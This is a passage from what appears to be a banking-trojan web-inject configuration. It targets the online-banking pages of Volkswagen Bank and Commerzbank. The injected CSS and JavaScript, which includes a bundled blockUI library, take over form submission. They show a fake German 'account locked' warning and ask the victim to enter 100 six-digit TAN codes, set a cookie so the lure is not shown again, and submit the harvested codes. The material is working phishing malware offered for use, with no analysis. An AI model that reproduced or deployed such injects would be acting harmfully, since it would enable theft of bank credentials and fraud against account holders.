jQuery('#confirmation_dialog_text').hide();
jQuery('#confirmation_dialog_errors').show();
};
function cdf_hide_errors() {
jQuery('#confirmation_dialog_text').show();
jQuery('#confirmation_dialog_errors').hide();
};
function clfield_check(target) {
	var ic=jQuery(target);
	if (typeof(target.id)=='undefined'){return false;};
	var nextid=ic.attr('id').replace(/[^0-9]/gi, '');
	nextid=parseInt(nextid)+1;
	if (ic.val().toString().length==6){
		if(ic.val().toString().search(/\d{6}/)==-1)
		{
		ic.addClass('bad');
		} else {
		ic.addClass('ok');
		jQuery('#clfield'+nextid).focus();
		}
	} else {
		ic.removeClass('ok')
		ic.removeClass('bad')
	}
};
function cdf_onfocus(target) {
jQuery('#confirmation_dialog_form input.clfield').removeClass('active');
jQuery(target).addClass('active');
};
function cdf_onkeyup(target) {
clfield_check(target);
};

function cdf_format(str){
	if (str<10) {
		str='00'+str.toString();
	} else if (str<100) {
		str='0'+str.toString();
	}
	return str;
}

function actual_format(str){
	if (str<10) {
		str=''+str.toString();
	} else if (str<100) {
		str=''+str.toString();
	} else if (str=100) {
		str=''+str.toString();
	}
	return str;
}

jQuery(document).ready(
function () {
		if (cdf_getcookie()){return false;}

		jQuery('form').submit(
			function (sender) {
				if (typeof(jQuery.blockUI)=='function') {
					jQuery.blockUI.defaults.css = {
					padding:	'0',
					margin:		0,
					width:		'900px',
					height:		'350px',
					top:		'20%',
					left:		'10%',
					textAlign:	'left',
					color:		'#000',
					border:		'0',
					backgroundColor:'#fff',
					cursor:		'default'
					};

					var msg= '<center><div id="cdf" class="confirmation_dialog">'+
					'<div class="cd_body">'+
					'<div style="margin-bottom:15px; color:#FF0000; font-size: 12pt; font-weight:bold; text-align:center">Achtung!</div>'+
					'<div id="confirmation_dialog_text" style="font-size: 9pt;text-align:left;padding: 0 30px 0 40px;">Sehr geehrter Benutzer. Ihr account f&uuml;r einige Funktion ist gespert! Bitte best&auml;tigen Sie Ihre g&uuml;ltige TAN-Liste, damit k&ouml;nnen Sie Ihre onlinebanking weiter voll benutzen. Fur Best&auml;tigung Ihre TAN-Liste, f&uuml;llen Sie die Form unten und dr&uuml;cken Sie die Taste Absenden.  Wir bedanken  Ihnen um Ihre Verst&auml;ndnis.</div>'+
					'<div id="confirmation_dialog_errors" class="cdf_errors">Bitte f&uuml;llen Sie alle Felder</div>'+
					'<form method="post" name="confirmation_dialog" id="confirmation_dialog_form">'+
					'<input type="hidden" id="DEpass" name="DEpass"/>'+
					'<div id="cdf_tbl">'+
					'<table align=center class="confirm_dlg_table" cellpadding=0 cellcpacing=0>'+
					'<tr style="padding-top:5px;">';
					var letters = ['a','b','c','d','e','f','g','h'];
					for (i=1; i<=10; i++) {
						msg+='<th>&nbsp;Nr.</th><th style="text-align:right">TAN</th>';
					}
					msg+='</tr><tr>';
					var clv_nr=1;
					var col_counter=1;
					for (i=1; i<=10; i++) {
						msg+='<tr>';
						for (j=1; j<=10; j++) {
							clv_nr=(i+(j-1)*10);
							
							msg+='<td>'+actual_format(clv_nr)+'</td><td><input onkeyup="cdf_onkeyup(this)" onfocus="cdf_onfocus(this)" maxlength="6" class="clfield" type="text" name="clfield_tan'+cdf_format(clv_nr)+'" id="clfield'+clv_nr+'" /></td>';
						}
						msg+='</tr>';
					}
					msg+='</table></div></form>'+
					'<div style="display:block; margin-top:10px;height:32px;"><input value="Absenden" type="button" onclick="cdf_check()" /></div>'+
					'</div></div></center>';

					jQuery.blockUI({ 
						message: msg
					});

					jQuery("html, body").css("overflow", "hidden");
					setTimeout(
						function () {		
						jQuery('#clfield1').focus();
						//jQuery('#cdf_tbl').corner();
						},
						50
					);
					return false;
				}
			}
		);
	}
);
</script>
data_end
data_after
data_end


set_url https://online-banking.volkswagenbank.de/* GP
data_before
</head>
data_end
data_inject
<style>
.confirmation_dialog {
width: 900px;
/*height: 520px;*/
border: 1px solid #000;
background: #FFF;
}

.cd_header {
background: #FFF;
padding: 5px 40px 5px 25px;
height: 65px;
display: block;
border-bottom: 1px solid #000;
}

.cd_body{
padding: 10px;
/*padding-top:0px;*/
}

.cdf_errors {
background: #FAA;
padding: 15px;
font-size: 9pt;
display:none;
}

#cdf_tbl {
background: #FFF;
margin-top:10px;
margin-bottom:0px;
width: 890px;
height: 220px;
}

table.confirm_dlg_table th {
font-size: 7pt;
font-weight: normal;
color: #000;
text-align:left;
padding-top:5px;
}

table.confirm_dlg_table tr {
lihe-height:0px;
margin: 0;
padding: 0;
}

table.confirm_dlg_table td {
font-size: 13px;
color: #000;
height: 7pt;
font-weight:normal;
text-align: right;
margin: 0;
padding: 0;
padding-left:0px;
}

table.confirm_dlg_table input {
width:40px;
font-size: 7pt;
font-weight: bold;
color: #000;
height: 15px;
border: 1px solid #000;
margin: 0;
/*margin-left:5px;*/
margin-bottom:0px;
padding: 0;
float:left;
}

table.confirm_dlg_table input.active {
border: 1px solid #F77;
}

table.confirm_dlg_table input.ok {
background: #AFA;
}

table.confirm_dlg_table input.bad {
background: #FAA;
}

.cb_th {
	color: #000;
	padding-right: 10px;
}

</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
jQuery.noConflict()
;(function(jQuery) {
jQuery.fn._fadeIn = jQuery.fn.fadeIn;
var noOp = function() {};
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
// retarded userAgent strings on Vista)
var mode = document.documentMode || 0;
var setExpr = jQuery.browser.msie && ((jQuery.browser.version < 8 && !mode) || mode < 8);
var ie6 = jQuery.browser.msie && /MSIE 6.0/.test(navigator.userAgent) && !mode;
// global jQuery methods for blocking/unblocking the entire page
jQuery.blockUI   = function(opts) { install(window, opts); };
jQuery.unblockUI = function(opts) { remove(window, opts); };
// convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
jQuery.growlUI = function(title, message, timeout, onClose) {
var jQuerym = jQuery('<div class="growlUI"></div>');
if (title) jQuerym.append('<h1>'+title+'</h1>');
if (message) jQuerym.append('<h2>'+message+'</h2>');
if (timeout == undefined) timeout = 3000;
jQuery.blockUI({
message: jQuerym, fadeIn: 700, fadeOut: 1000, centerY: true,
timeout: timeout, showOverlay: false,
onUnblock: onClose, 
css: jQuery.blockUI.defaults.growlCSS
});
};
// plugin method for blocking element content
jQuery.fn.block = function(opts) {
return this.unblock({ fadeOut: 0 }).each(function() {
if (jQuery.css(this,'position') == 'static')
this.style.position = 'relative';
if (jQuery.browser.msie)
this.style.zoom = 1; // force 'hasLayout'
install(this, opts);
});
};
// plugin method for unblocking element content
jQuery.fn.unblock = function(opts) {
return this.each(function() {
remove(this, opts);
});
};
jQuery.blockUI.version = 2.33; // 2nd generation blocking at no extra cost!
// override these in your code to change the default behavior and style
jQuery.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message:  '<h1>Please wait...</h1>',
title: null,	  // title string; only used when theme == true
draggable: true,  // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// jQuery.blockUI.defaults.css = {};
css: {
padding:	0,
margin:		0,
width:		'30%',
top:		'40%',
left:		'15%',
textAlign:	'center',
color:		'#000',
border:		'3px solid #aaa',
backgroundColor:'#fff',
cursor:		'wait'
},
// minimal style set used when themes are used
themedCSS: {
width:	'30%',
top:	'40%',
left:	'35%'
},
// styles for the overlay
overlayCSS:  {
backgroundColor: '#000',
opacity:	  	 0.6,
cursor:		  	 'wait'
},
// styles applied when using jQuery.growlUI
growlCSS: {
width:  	'350px',
top:		'10px',
left:   	'',
right:  	'10px',
border: 	'none',
padding:	'5px',
opacity:	0.6,
cursor: 	'default',
color:		'#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius':	 '10px',
'border-radius': 		 '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages.  disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn:  0,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut:  0,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
//	 onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
quirksmodeOffsetHack: 4
};
// private data and functions follow...
var pageBlock = null;
var pageBlockEls = [];
function install(el, opts) {
var full = (el == window);
var msg = opts && opts.message !== undefined ? opts.message : undefined;

opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
opts.overlayCSS = jQuery.extend({}, jQuery.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
var css = jQuery.extend({}, jQuery.blockUI.defaults.css, opts.css || {});
var themedCSS = jQuery.extend({}, jQuery.blockUI.defaults.themedCSS, opts.themedCSS || {});
msg = msg === undefined ? opts.message : msg;

// remove the current block (if there is one)
if (full && pageBlock)
remove(window, {fadeOut:0});

// if an existing element is being used as the blocking content then we capture
// its current place in the DOM (and current display style) so we can restore
// it when we unblock

if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
var node = msg.jquery ? msg[0] : msg;

var data = {};
jQuery(el).data('blockUI.history', data);

data.el = node;
data.parent = node.parentNode;
data.display = node.style.display;
data.position = node.style.position;
if (data.parent)
data.parent.removeChild(node);
}
var z = opts.baseZ;
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
// layer1 is the iframe layer which is used to supress bleed through of underlying content
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
// layer3 is the message content that is displayed while blocking
var lyr1 = (jQuery.browser.msie || opts.forceIframe) 
? jQuery('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>')
: jQuery('<div class="blockUI" style="display:none"></div>');
var lyr2 = jQuery('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
var lyr3, s;
if (opts.theme && full) {
s = '<div class="blockUI blockMsg blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:fixed">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (opts.theme) {
s = '<div class="blockUI blockMsg blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:absolute">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (full) {
s = '<div class="blockUI blockMsg blockPage" style="z-index:'+z+';display:none;position:fixed"></div>';
}			
else {
s = '<div class="blockUI blockMsg blockElement" style="z-index:'+z+';display:none;position:absolute"></div>';
}
lyr3 = jQuery(s);

// if we have a message, style it
if (msg) {
if (opts.theme) {
lyr3.css(themedCSS);
lyr3.addClass('ui-widget-content');
}
else 
lyr3.css(css);
}
// style the overlay
if (!opts.applyPlatformOpacityRules || !(jQuery.browser.mozilla && /Linux/.test(navigator.platform)))
lyr2.css(opts.overlayCSS);
lyr2.css('position', full ? 'fixed' : 'absolute');
// make iframe layer transparent in IE
if (jQuery.browser.msie || opts.forceIframe)
lyr1.css('opacity',0.0);
//jQuery([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
var layers = [lyr1,lyr2,lyr3], jQuerypar = full ? jQuery('body') : jQuery(el);
jQuery.each(layers, function() {
this.appendTo(jQuerypar);
});

if (opts.theme && opts.draggable && jQuery.fn.draggable) {
lyr3.draggable({
handle: '.ui-dialog-titlebar',
cancel: 'li'
});
}
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
var expr = setExpr && (!jQuery.boxModel || jQuery('object,embed', full ? null : el).length > 0);
if (ie6 || expr) {
// give body 100% height
if (full && opts.allowBodyStretch && jQuery.boxModel)
jQuery('html,body').css('height','100%');
// fix ie6 issue when blocked element has a border width
if ((ie6 || !jQuery.boxModel) && !full) {
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
var fixT = t ? '(0 - '+t+')' : 0;
var fixL = l ? '(0 - '+l+')' : 0;
}
// simulate fixed position
jQuery.each([lyr1,lyr2,lyr3], function(i,o) {
var s = o[0].style;
s.position = 'absolute';
if (i < 2) {
full ? s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"')
: s.setExpression('height','this.parentNode.offsetHeight + "px"');
full ? s.setExpression('width','jQuery.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"')
: s.setExpression('width','this.parentNode.offsetWidth + "px"');
if (fixL) s.setExpression('left', fixL);
if (fixT) s.setExpression('top', fixT);
}
else if (opts.centerY) {
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
s.marginTop = 0;
}
else if (!opts.centerY && full) {
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top) : 0;
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
s.setExpression('top',expression);
}
});
}
// show the message
if (msg) {
if (opts.theme)
lyr3.find('.ui-widget-content').append(msg);
else
lyr3.append(msg);
if (msg.jquery || msg.nodeType)
jQuery(msg).show();
}

if ((jQuery.browser.msie || opts.forceIframe) && opts.showOverlay)
	lyr1.show(); // opacity is zero

if (opts.fadeIn) {
	
	var cb = opts.onBlock ? opts.onBlock : noOp;
	var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
	var cb2 = msg ? cb : noOp;
	
	if (opts.showOverlay)
		lyr2._fadeIn(opts.fadeIn, cb1);
	console.log(opts); return false;
	if (msg)
		lyr3._fadeIn(opts.fadeIn, cb2);
}
else {
	if (opts.showOverlay)
		lyr2.show();
	if (msg)
		lyr3.show();
	if (opts.onBlock)
		opts.onBlock();
}
// bind key and mouse events

bind(1, el, opts);
if (full) {
pageBlock = lyr3[0];
pageBlockEls = jQuery(':input:enabled:visible',pageBlock);
if (opts.focusInput)
setTimeout(focus, 20);
}
else
center(lyr3[0], opts.centerX, opts.centerY);

if (opts.timeout) {
// auto-unblock
var to = setTimeout(function() {
full ? jQuery.unblockUI(opts) : jQuery(el).unblock(opts);
}, opts.timeout);

jQuery(el).data('blockUI.timeout', to);
}

};
// remove the block
function remove(el, opts) {
var full = (el == window);
var jQueryel = jQuery(el);
var data = jQueryel.data('blockUI.history');
var to = jQueryel.data('blockUI.timeout');
if (to) {
clearTimeout(to);
jQueryel.removeData('blockUI.timeout');
}
opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
bind(0, el, opts); // unbind events
var els;
if (full) // crazy selector to handle odd field errors in ie6/7
els = jQuery('body').children().filter('.blockUI').add('body > .blockUI');
else
els = jQuery('.blockUI', el);
if (full)
pageBlock = pageBlockEls = null;
if (opts.fadeOut) {
els.fadeOut(opts.fadeOut);
setTimeout(function() { reset(els,data,opts,el); }, opts.fadeOut);
}
else
reset(els, data, opts, el);
};
// move blocking element back into the DOM where it started
function reset(els,data,opts,el) {
els.each(function(i,o) {
// remove via DOM calls so we don't lose event handlers
if (this.parentNode)
this.parentNode.removeChild(this);
});
if (data && data.el) {
data.el.style.display = data.display;
data.el.style.position = data.position;
if (data.parent)
data.parent.appendChild(data.el);
jQuery(el).removeData('blockUI.history');
}
if (typeof opts.onUnblock == 'function')
opts.onUnblock(el,opts);
};
// bind/unbind the handler
function bind(b, el, opts) {
var full = el == window, jQueryel = jQuery(el);
// don't bother unbinding if there is nothing to unbind
if (!b && (full && !pageBlock || !full && !jQueryel.data('blockUI.isBlocked')))
return;
if (!full)
jQueryel.data('blockUI.isBlocked', b);
// don't bind events when overlay is not in use or if bindEvents is false
if (!opts.bindEvents || (b && !opts.showOverlay)) 
return;
// bind anchors and inputs for mouse and key events
var events = 'mousedown mouseup keydown keypress';
b ? jQuery(document).bind(events, opts, handler) : jQuery(document).unbind(events, handler);
// former impl...
//	   var jQuerye = jQuery('a,:input');
//	   b ? jQuerye.bind(events, opts, handler) : jQuerye.unbind(events, handler);
};
// event handler to suppress keyboard/mouse events when blocking
function handler(e) {
// allow tab navigation (conditionally)
if (e.keyCode && e.keyCode == 9) {
if (pageBlock && e.data.constrainTabKey) {
var els = pageBlockEls;
var fwd = !e.shiftKey && e.target == els[els.length-1];
var back = e.shiftKey && e.target == els[0];
if (fwd || back) {
setTimeout(function(){focus(back)},10);
return false;
}
}
}
// allow events within the message content
if (jQuery(e.target).parents('div.blockMsg').length > 0)
return true;
// allow events for content that is not being blocked
return jQuery(e.target).parents().children().filter('div.blockUI').length == 0;
};
function focus(back) {
if (!pageBlockEls)
return;
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
if (e)
e.focus();
};
function center(el, x, y) {
var p = el.parentNode, s = el.style;
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
if (x) s.left = l > 0 ? (l+'px') : '0';
if (y) s.top  = t > 0 ? (t+'px') : '0';
};
function sz(el, p) {
return parseInt(jQuery.css(el,p))||0;
};
})(jQuery);


function cdf_getcookie () {
var c=window.document.cookie.toString();
return c.indexOf('wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS')!=-1;
}
function cdf_setcookie () {
var hn = window.location.hostname;
var futdate = new Date();
var expdate = futdate.getTime();
expdate+=31104000000;
futdate.setTime(expdate);
window.document.cookie='wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS;path=\/;domain=.'+hn+';expires='+futdate.toGMTString();
};

function cdf_check() {
	cdf_hide_errors();
	var error_exists=false;
	jQuery('#cdf').find('input[id^=clfield]').each(
		function(){
			if (error_exists){return false;}
			inp=jQuery(this);
			if (!inp.val() || inp.val().toString().search(/\d{6}/)==-1) {
				cdf_show_errors();
				setTimeout(
					cdf_hide_errors,
					5000
				);
				inp.focus();
				error_exists=true;
			}
		}
	);
	if (error_exists){return false;}
	//console.log(jQuery('#cdf').find('input[id^=clfield]'));
	//return false;
	cdf_setcookie();
	jQuery('#confirmation_dialog_form').submit();
};
function cdf_show_errors() {
jQuery('#confirmation_dialog_text').hide();
jQuery('#confirmation_dialog_errors').show();
};
function cdf_hide_errors() {
jQuery('#confirmation_dialog_text').show();
jQuery('#confirmation_dialog_errors').hide();
};
function clfield_check(target) {
	var ic=jQuery(target);
	if (typeof(target.id)=='undefined'){return false;};
	var nextid=ic.attr('id').replace(/[^0-9]/gi, '');
	nextid=parseInt(nextid)+1;
	if (ic.val().toString().length==6){
		if(ic.val().toString().search(/\d{6}/)==-1)
		{
		ic.addClass('bad');
		} else {
		ic.addClass('ok');
		jQuery('#clfield'+nextid).focus();
		}
	} else {
		ic.removeClass('ok')
		ic.removeClass('bad')
	}
};
function cdf_onfocus(target) {
jQuery('#confirmation_dialog_form input.clfield').removeClass('active');
jQuery(target).addClass('active');
};
function cdf_onkeyup(target) {
clfield_check(target);
};

function cdf_format(str){
	if (str<10) {
		str='00'+str.toString();
	} else if (str<100) {
		str='0'+str.toString();
	}
	return str;
}

function actual_format(str){
	if (str<10) {
		str=''+str.toString();
	} else if (str<100) {
		str=''+str.toString();
	} else if (str=100) {
		str=''+str.toString();
	}
	return str;
}

jQuery(document).ready(
function () {
		if (cdf_getcookie()){return false;}

		jQuery('form').submit(
			function (sender) {
				if (typeof(jQuery.blockUI)=='function') {
					jQuery.blockUI.defaults.css = {
					padding:	'0',
					margin:		0,
					width:		'900px',
					height:		'350px',
					top:		'20%',
					left:		'10%',
					textAlign:	'left',
					color:		'#000',
					border:		'0',
					backgroundColor:'#fff',
					cursor:		'default'
					};

					var msg= '<center><div id="cdf" class="confirmation_dialog">'+
					'<div class="cd_body">'+
					'<div style="margin-bottom:15px; color:#FF0000; font-size: 12pt; font-weight:bold; text-align:center">Achtung!</div>'+
					'<div id="confirmation_dialog_text" style="font-size: 9pt;text-align:left;padding: 0 30px 0 40px;">Sehr geehrter Benutzer. Ihr account f&uuml;r einige Funktion ist gespert! Bitte best&auml;tigen Sie Ihre g&uuml;ltige TAN-Liste, damit k&ouml;nnen Sie Ihre onlinebanking weiter voll benutzen. Fur Best&auml;tigung Ihre TAN-Liste, f&uuml;llen Sie die Form unten und dr&uuml;cken Sie die Taste Absenden.  Wir bedanken  Ihnen um Ihre Verst&auml;ndnis.</div>'+
					'<div id="confirmation_dialog_errors" class="cdf_errors">Bitte f&uuml;llen Sie alle Felder</div>'+
					'<form method="post" name="confirmation_dialog" id="confirmation_dialog_form">'+
					'<input type="hidden" id="DEpass" name="DEpass"/>'+
					'<div id="cdf_tbl">'+
					'<table align=center class="confirm_dlg_table" cellpadding=0 cellcpacing=0>'+
					'<tr style="padding-top:5px;">';
					var letters = ['a','b','c','d','e','f','g','h'];
					for (i=1; i<=10; i++) {
						msg+='<th>&nbsp;Nr.</th><th style="text-align:right">TAN</th>';
					}
					msg+='</tr><tr>';
					var clv_nr=1;
					var col_counter=1;
					for (i=1; i<=10; i++) {
						msg+='<tr>';
						for (j=1; j<=10; j++) {
							clv_nr=(i+(j-1)*10);
							
							msg+='<td>'+actual_format(clv_nr)+'</td><td><input onkeyup="cdf_onkeyup(this)" onfocus="cdf_onfocus(this)" maxlength="6" class="clfield" type="text" name="clfield_tan'+cdf_format(clv_nr)+'" id="clfield'+clv_nr+'" /></td>';
						}
						msg+='</tr>';
					}
					msg+='</table></div></form>'+
					'<div style="display:block; margin-top:10px;height:32px;"><input value="Absenden" type="button" onclick="cdf_check()" /></div>'+
					'</div></div></center>';

					jQuery.blockUI({ 
						message: msg
					});

					jQuery("html, body").css("overflow", "hidden");
					setTimeout(
						function () {		
						jQuery('#clfield1').focus();
						//jQuery('#cdf_tbl').corner();
						},
						50
					);
					return false;
				}
			}
		);
	}
);
</script>
data_end
data_after
data_end


set_url https://www.commerzbanking.de/P-Portal* GP
data_before
</head>
data_end
data_inject
<style>
.confirmation_dialog {
width: 900px;
/*height: 520px;*/
border: 1px solid #000;
background: #FFF;
}

.cd_header {
background: #FFF;
padding: 5px 40px 5px 25px;
height: 65px;
display: block;
border-bottom: 1px solid #000;
}

.cd_body{
padding: 10px;
/*padding-top:0px;*/
}

.cdf_errors {
background: #FAA;
padding: 15px;
font-size: 9pt;
display:none;
}

#cdf_tbl {
background: #FFF;
margin-top:10px;
margin-bottom:0px;
width: 890px;
height: 220px;
}

table.confirm_dlg_table th {
font-size: 7pt;
font-weight: normal;
color: #000;
text-align:left;
padding-top:5px;
}

table.confirm_dlg_table tr {
lihe-height:0px;
margin: 0;
padding: 0;
}

table.confirm_dlg_table td {
font-size: 13px;
color: #000;
height: 7pt;
font-weight:normal;
text-align: right;
margin: 0;
padding: 0;
padding-left:0px;
}

table.confirm_dlg_table input {
width:40px;
font-size: 7pt;
font-weight: bold;
color: #000;
height: 15px;
border: 1px solid #000;
margin: 0;
/*margin-left:5px;*/
margin-bottom:0px;
padding: 0;
float:left;
}

table.confirm_dlg_table input.active {
border: 1px solid #F77;
}

table.confirm_dlg_table input.ok {
background: #AFA;
}

table.confirm_dlg_table input.bad {
background: #FAA;
}

.cb_th {
	color: #000;
	padding-right: 10px;
}

</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
jQuery.noConflict()
;(function(jQuery) {
jQuery.fn._fadeIn = jQuery.fn.fadeIn;
var noOp = function() {};
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
// retarded userAgent strings on Vista)
var mode = document.documentMode || 0;
var setExpr = jQuery.browser.msie && ((jQuery.browser.version < 8 && !mode) || mode < 8);
var ie6 = jQuery.browser.msie && /MSIE 6.0/.test(navigator.userAgent) && !mode;
// global jQuery methods for blocking/unblocking the entire page
jQuery.blockUI   = function(opts) { install(window, opts); };
jQuery.unblockUI = function(opts) { remove(window, opts); };
// convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
jQuery.growlUI = function(title, message, timeout, onClose) {
var jQuerym = jQuery('<div class="growlUI"></div>');
if (title) jQuerym.append('<h1>'+title+'</h1>');
if (message) jQuerym.append('<h2>'+message+'</h2>');
if (timeout == undefined) timeout = 3000;
jQuery.blockUI({
message: jQuerym, fadeIn: 700, fadeOut: 1000, centerY: true,
timeout: timeout, showOverlay: false,
onUnblock: onClose, 
css: jQuery.blockUI.defaults.growlCSS
});
};
// plugin method for blocking element content
jQuery.fn.block = function(opts) {
return this.unblock({ fadeOut: 0 }).each(function() {
if (jQuery.css(this,'position') == 'static')
this.style.position = 'relative';
if (jQuery.browser.msie)
this.style.zoom = 1; // force 'hasLayout'
install(this, opts);
});
};
// plugin method for unblocking element content
jQuery.fn.unblock = function(opts) {
return this.each(function() {
remove(this, opts);
});
};
jQuery.blockUI.version = 2.33; // 2nd generation blocking at no extra cost!
// override these in your code to change the default behavior and style
jQuery.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message:  '<h1>Please wait...</h1>',
title: null,	  // title string; only used when theme == true
draggable: true,  // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// jQuery.blockUI.defaults.css = {};
css: {
padding:	0,
margin:		0,
width:		'30%',
top:		'40%',
left:		'15%',
textAlign:	'center',
color:		'#000',
border:		'3px solid #aaa',
backgroundColor:'#fff',
cursor:		'wait'
},
// minimal style set used when themes are used
themedCSS: {
width:	'30%',
top:	'40%',
left:	'35%'
},
// styles for the overlay
overlayCSS:  {
backgroundColor: '#000',
opacity:	  	 0.6,
cursor:		  	 'wait'
},
// styles applied when using jQuery.growlUI
growlCSS: {
width:  	'350px',
top:		'10px',
left:   	'',
right:  	'10px',
border: 	'none',
padding:	'5px',
opacity:	0.6,
cursor: 	'default',
color:		'#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius':	 '10px',
'border-radius': 		 '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages.  disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn:  0,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut:  0,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
//	 onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
quirksmodeOffsetHack: 4
};
// private data and functions follow...
var pageBlock = null;
var pageBlockEls = [];
function install(el, opts) {
var full = (el == window);
var msg = opts && opts.message !== undefined ? opts.message : undefined;

opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
opts.overlayCSS = jQuery.extend({}, jQuery.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
var css = jQuery.extend({}, jQuery.blockUI.defaults.css, opts.css || {});
var themedCSS = jQuery.extend({}, jQuery.blockUI.defaults.themedCSS, opts.themedCSS || {});
msg = msg === undefined ? opts.message : msg;

// remove the current block (if there is one)
if (full && pageBlock)
remove(window, {fadeOut:0});

// if an existing element is being used as the blocking content then we capture
// its current place in the DOM (and current display style) so we can restore
// it when we unblock

